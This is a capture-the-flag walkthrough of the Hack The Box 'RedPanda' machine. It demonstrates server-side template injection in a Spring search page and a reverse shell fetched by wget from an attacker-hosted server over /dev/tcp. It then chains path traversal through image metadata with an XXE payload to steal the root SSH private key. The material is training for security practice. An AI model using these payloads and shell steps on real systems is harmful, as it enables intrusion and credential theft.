Walkthrough: RedPanda - Hack The Box

14 minute read

RedPanda Info Card

In this box, we start by using template injection to get a reverse shell. After that we exploit some java code with poor input validation and use an XML External Entity (XXE) vulnerability to read the root private SSH key to escalate our privileges.


First, we’ll start by running nmap. We’re not under a time crunch here, so we’ll just enumerate versions and run the default scripts on all ports using the -sC, -sV, and -p- options. was the IP address of the box when I completed it.

sudo nmap -sC -sV -p-


Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-27 15:00 EDT
Nmap scan report for
Host is up (0.19s latency).
Not shown: 65532 closed tcp ports (conn-refused)
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Sat, 27 Aug 2022 19:13:02 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Content-Length: 0
|     Date: Sat, 27 Aug 2022 19:13:02 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 27 Aug 2022 19:13:02 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 758.18 seconds
Port Service Product/Version Notes
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) This is a pretty recent version of SSH. Likely not our initial access point.
8080 http-proxy   This claims that it is “Red Panda Search | Made with Spring Boot”. Spring Boot is some kind of application framework. This will come in handy later.


Going to the web server at brings us to a web page that claims to be a search engine for red pandas.

Home Page

This site is relatively simple and only has a few pages. One thing that we can immediately notice though is that when we search for something, it tells us what search we ran in the results page, like this:

Test Search

This seems like something that we could potentially get some useful information out of.

Let’s fire up Burp Suite and take a look at the request that we make when we run a search. First, navigate back to the home page and then set your browser so that is uses Burp (i.e. as its proxy (I use FoxyProxy for this, but feel free to just use your browser’s native settings).

Switch to the proxy tab in Burp and then turn on Intercept. Now search something using the site and burp should populate with something like this

POST /search HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Connection: close
Upgrade-Insecure-Requests: 1


In Burp, click Action>Send to Repeater, then switch to the repeater tab and your request should be there in the left-hand column. If you click Send, it will send this request to the server and show you a response in the right-hand column.

We can see that when we’re searching, we’re passing along an attribute called name and that is what is being searched. If we play around with the values we send to the server, we can see if there are any vulnerabilities here. All we have to do is replace test with what we want to send and hit the Send button. Then we can look through the response to see what changed. The part we’re most interested in is right after You searched for: , because that’s where it is supposed to show us our search term.

Let’s try putting in some special characters and see what happens. Searching for a $ gives us an error, saying Error occured: banned characters. Seems like we’re on the right path then.

Let’s try to see if this is vulnerable to template injection. Using this page from PayloadsAllTheThings, we can see that if we send ${{<%[%'"}}%\. as the name and we get an error back, it means template injection will likely work. So let’s try it.


And we got back an error. Good. The next thing we have to do is figure out which template engine is being used.

Looking around the Spring website, we can see that Spring is a Java framework, so let’s take a look at the Java section of that PayloadsAllTheThings page. Trying ${7*7} tells us that we have a banned character, so following the recommendations, we can try #{7*7} next. This works, but there are some weird characters also included in the output. Trying *{7*7} seems to work much better. The response tells us that You searched for: 49.

Next let’s try to get /etc/passwd. Sending just *{T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} gets back Process[pid=3573, exitValue=&quot;not exited&quot;]. Not exactly what we’re looking for, but it does seem like it did something. Running the other command


actually does get us back the /etc/passwd file.


So looks like we do have remote code execution, but we’re going to have to encode all of our commands in this really ugly way. Luckily for us though, there’s this project on GitHub which will make this a lot easier. All we have to do is download ssti-payload.py and change a $ to a * in one line:

#original line
payload='''${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)''' % decimals[0]

#new line
payload='''*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)''' % decimals[0]

Now if we run this python script, we can put in whatever command we want to run and it will spit out the encoded version for us. All we have to do is paste it in right after name= in the request. Therefore, from here until the start of the Root section, whenever we run a command on the box I’m going to just write down the command to run and it’ll be implied that it should be encoded using this script and then sent to the box using Burp.


Our method for code execution really limits our ability to use special characters, so getting a shell is a bit tricky. It’s easy to execute once you have it figured out though.

The first thing we’ll do is set things up on our local machine so we can have the box download a file we host. In a new terminal window, enter

mkdir www
cd www
echo 'bash -i >& /dev/tcp/<YOUR IP ADDRESS>/9002 0>&1' >> stby.sh

Note: remember to replace <YOUR IP ADDRESS> with your IP.

This will create a folder for us that we can safely expose to the internet and then put a script called stby.sh into that folder that we can use for the reverse shell.

Next, run

python -m http.server

This will start a web server that we can use to transfer files to the box.

Lastly, let’s set up our listener so we can catch the reverse shell. Run this in a new terminal window

bash #this will make our shell upgrade later a bit easier. You might not need this if your terminal defaults to bash already.
nc -lvnp 9002

Now we’ll use Burp and that python script we downloaded from GitHub earlier to run the following commands on the box, one at a time

wget http://<YOUR IP ADDRESS>:8000/stby.sh
bash stby.sh

and we get a shell back on our netcat listener.


Shell Upgrade

First, let’s upgrade our shell so it’s a bit more user-friendly. Run

python3 -c 'import pty; pty.spawn("/bin/bash")'

Next we’ll background the shell with CTRL+Z and then run this command so we can send through keyboard shortcuts

stty raw -echo

Next run this to bring the shell back to the foreground (Note: you won’t be able to see the input on the screen)


Hit ENTER twice

Next, we’ll set the terminal by running

export TERM=xterm

We should have a pretty stable and feature-rich shell on the box now.


For enumeration on this box, we’ll use pspy. Download the latest pspy64 release from GitHub to your local machine and put it into that same www directory from earlier.

On the box, run

wget http://<YOUR IP ADDRESS>:8000/pspy64
chmod +x pspy64

Looking through the output (remembering to wait a while to see processes that aren’t consistently running), we can see that the root user automatically runs the following scripts on a periodic basis

2022/09/11 03:16:01 CMD: UID=0    PID=78928  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar 
2022/09/11 03:16:01 CMD: UID=0    PID=78927  | /bin/sh /root/run_credits.sh

Looking into the /credit-score/LogParser directory, we can see the source code in LogParser/final/src/main/java/com/logparser/App.java. Here it is

package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);

        return map;
    public static boolean isImage(String filename){
            return true;
        return false;
    public static String getArtist(String uri) throws IOException, JpegProcessingException
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
            for(Tag tag : dir.getTags())
                if(tag.getTagName() == "Artist")
                    return tag.getDescription();

        return "N/A";
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();

        File fd = new File(path);
        Document doc = saxBuilder.build(fd);
        Element rootElement = doc.getRootElement();
        for(Element el: rootElement.getChildren())
            if(el.getName() == "image")
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
            String line = log_reader.nextLine();
            Map parsed_data = parseLog(line);
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());


The main function of this code is to look through the web server logs at /opt/panda_search/redpanda.log and give credits to the artists who are credited with those images. It stores the values of how many views each image has in XML files at /credits/<ARTIST>_creds.xml.

For example, here’s the file /credits/damian_creds.xml (as it was when I was working on this)

<?xml version="1.0" encoding="UTF-8"?>

The problem with this code is that it doesn’t do any input validation. It just trusts that the logs, images, and XML files are clean. We can chain together a few of these issues to achieve arbitrary file reads. Here’s how it works

  • The getArtist function takes the URI from the logs and uses it to find an image file.
    • Since it doesn’t validate that URI, if we specify a URI with a bunch of ../ sequences in it, we can point it to an image file that we control.
  • The addViewTo function then takes a path derived from the artist name from the metadata of the image and uses it to load an XML file. It then edits the XML and writes it back to disk.
    • There is no validation of the artist name, so we can use another ../ sequence in the artist name in the image we create to point to an XML file that we control.
    • This function also doesn’t do anything to validate the XML file, so we can use an XML External Entity (XXE) reference to trigger arbitrary file reads.


Now we just have to set all of this up. Let’s start by giving ourselves a spot to host all of our files. Run this on the box

mkdir /tmp/stby
cd /tmp/stby

Next, we’ll prepare our image. Just grab any image and download it to your local machine. I just grabbed angy.jpg from the site. Navigate to wherever the file is stored on your PC and run the following

exiftool angy.jpg -artist=../tmp/stby/gotit
mv angy.jpg img.jpg

This exiftool command will change the artist metadata so it points to where we’ll be storing our XML file, which we’ll create right now.


nano gotit_creds.xml

and add this to the file

<?xml version="1.0" encoding="UTF-8"?>
  <!ENTITY secret SYSTEM "/root/.ssh/id_rsa">

Save and exit.

The URI points to where we’re going to store the image we just created and the content in the DOCTYPE header will get us the root SSH key, which will then be stored inside the <extra> tags when this file is processed by the script. Getting this SSH key is mostly a shot in the dark. We’re hoping that an SSH private key exists on the server and that no one has changed it from its default name of id_rsa. We could just get the contents of /root/root.txt instead and that would be a more sure shot, but that’s not as fun as getting a shell.

Now let’s move all of this over to the box. Move both img.jpg and gotit_creds.xml to the www folder you created earlier.. Make sure that python web server we started earlier is still runnin.

On the box (still in the /tmp/stby directory from earlier), run these commands to get the files

wget http://<YOUR IP ADDRESS>:8000/img.jpg
wget http://<YOUR IP ADDRESS>:8000/gotit_creds.xml

Now in order to trigger all of this, all we have to do is get our URI (/../../../../../../tmp/stby/img.jpg) into the logs. Unfortunately, if we just try to navigate to in our browser, it will error out with a 400 code and our request won’t show up in the logs, so let’s look at the logs a bit more.

cd /opt/panda_search
ls -la

This returns

total 48
drwxrwxr-x 5 root root  4096 Jun 14 14:35 .
drwxr-xr-x 5 root root  4096 Jun 23 18:12 ..
drwxrwxr-x 3 root root  4096 Jun 14 14:35 .mvn
-rwxrwxr-x 1 root root 10122 Jun 14 12:46 mvnw
-rw-rw-r-- 1 root root  6603 Feb 21  2022 mvnw.cmd
-rw-rw-r-- 1 root root  2577 Apr 27 14:44 pom.xml
-rw-rw-r-- 1 root logs     1 Sep 11 06:52 redpanda.log
drwxrwxr-x 4 root root  4096 Jun 14 14:35 src
drwxrwxr-x 9 root root  4096 Jun 22 09:07 target

Looks like the logs are only writable by the root user and members of the logs group. Let’s quickly check to see if we’re in that group. Run this


We get this back

logs woodenk

Looks like we are actually in that group, so we should be able to edit this file directly.

Let’s look at the format

cat redpanda.log

That command should return something like this

304||||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/img/angy.jpg
304||||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/img/angy.jpg
304||||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/img/angy.jpg

So now all we have to do is manually add our own log to the end. Something like this should do nicely

echo '200||||user agent||/../../../../../../tmp/stby/img.jpg' >> /opt/panda_search/redpanda.log

now if we run

tail /opt/panda_search/redpanda.log

we should see our log right at the end and so should the script next time it runs.

After waiting a few minutes for the script to run again, if we run

cat /tmp/stby/gotit_creds.xml

we should get back something like this

<?xml version="1.0" encoding="UTF-8"?>
    <extra>-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----</extra>

Which means the root private SSH key is this


If we save this to our local machine and call it id_rsa, we can then SSH into the box with

ssh -i id_rsa root@

and we’re done!